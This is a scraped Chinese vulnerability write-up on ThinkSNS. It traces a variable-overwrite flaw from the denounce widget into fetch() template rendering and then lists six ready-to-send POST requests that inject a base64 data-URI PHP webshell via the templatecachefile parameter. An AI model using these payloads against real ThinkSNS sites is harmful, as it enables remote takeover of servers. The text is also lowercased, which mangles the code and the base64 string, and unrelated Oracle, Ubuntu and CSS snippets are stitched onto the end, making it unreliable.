ThinkSNS第三彈七處前台GetShell

2021-12-30 04:37:44 字數 2803 閱讀 8690

漏洞點出現在denouncewidget.class.php裡:

\addons\widget\denoucewidget\denoucewidget.class.php:23

/*** 舉報彈框

* @return string 彈窗頁面html

*/public function index()

可以看到,index函式主要作用是通過$this->getvar()來獲取引數,然後再進入到$this->renderfile(dirname(__file__)."/index.html",$var)做模板渲染和輸出。

先看$this->getvar()

\addons\widget\denoucewidget\denoucewidget.class.php:56:

/*** 格式化模板變數

* @return array 被舉報的資訊

*/public function getvar()

foreach($_get as $k=>$v)

$var['uid'] = $globals['ts']['mid'];

empty($var['app']) && $var['app'] = 'public';

$var['source'] = model('source')->getsourceinfo($var['type'],$var['aid'],false,$var['app']);

return $var;

}通過foreach將$_get合併到$var裡,之後返回合併後的陣列。

接下來進入$this->renderfile(dirname(__file__)."/index.html",$var)

\core\opensociax\widget.class.php:73

/*** 渲染模板輸出 供render方法內部呼叫

* @access public

* @param string $templatefile 模板檔案

* @param mixed $var 模板變數

* @param string $charset 模板編碼

* @return string

*/protected function renderfile($templatefile = '', $var = '', $charset = 'utf-8')

$template = $this->template ? $this->template : strtolower ( c ( 'tmpl_engine_type' ) ? c ( 'tmpl_engine_type' ) : 'php' );

$content = fetch($templatefile,$var,$charset);

return $content;

}直接把$_get陣列裡的變數放入fetch裡執行,fetch裡存在變數覆蓋漏洞,於是就可以get shell了。

關於fetch的漏洞細節可以看這裡: wooyun: thinkphp遠端**執行隱患(需滿足特定條件)

兩種getshell的方法,一種是include包含webshell的,一種是使用filter

同樣的原理,還有六處分別是在:

其他6個:

1.post /index.php?app=widget&mod=comment&act=addcomment&uid=1

app_name=public&table_name=user&content=test&row_id=1&app_detail_summary=1&templatecachefile=data:text/plain;base64,pd9wahagcghwaw5mbygpoyblegl0kck7pz4%3d

2.post /index.php?app=widget&mod=department&act=change

templatecachefile=data:text/plain;base64,pd9wahagcghwaw5mbygpoyblegl0kck7pz4%3d

3.post /index.php?app=widget&mod=diy&act=addwidget

templatecachefile=data:text/plain;base64,pd9wahagcghwaw5mbygpoyblegl0kck7pz4%3d

4.post /index.php?app=widget&mod=feedlist&act=loadmore

templatecachefile=data:text/plain;base64,pd9wahagcghwaw5mbygpoyblegl0kck7pz4%3d

5.post /index.php?app=widget&mod=feedlist&act=loadnew

templatecachefile=data:text/plain;base64,pd9wahagcghwaw5mbygpoyblegl0kck7pz4%3d&maxid=1

6.post /index.php?app=widget&mod=remark&act=edit

templatecachefile=data:text/plain;base64,pd9wahagcghwaw5mbygpoyblegl0kck7pz4%3d

加強過濾

oracle第三彈 總結

前兩彈我們了解了oracle安裝的詳細步驟及配置,對oralce已經有了基本的了解。但僅僅按照文件執行一遍是不行的,我們無論在學習工作中都要善於總結,只有總結才能成長。好,廢話不多說,開始總結。總結我們主要從以下3點進行 1 專有名詞解釋 2 回顧下我們安裝的步驟,在安裝過程中所接觸到的專有的名詞 ...

折騰Ubuntu(第三彈)

提取碼 clwan674deb直接安裝,第一次執行要 sudo ruijieclient g生成配置檔案 然後開啟檔案 sudo gedit etc ruijie.conf eth0025 103.35 1 按照上面注釋裡的配置,就改三項,其他不要改 當然在網絡卡設定中也要設定ip 神木的,重啟後便...

樣式屬性第三彈

width 400px height 400px background image url e8 af be e7 a8 8b e8 80 81 e5 b8 88 e5 ae 9e e4 be 8b 10.10 e6 a0 b7 e5 bc 8f e8 a1 a8 qq e5 9b be e7 89...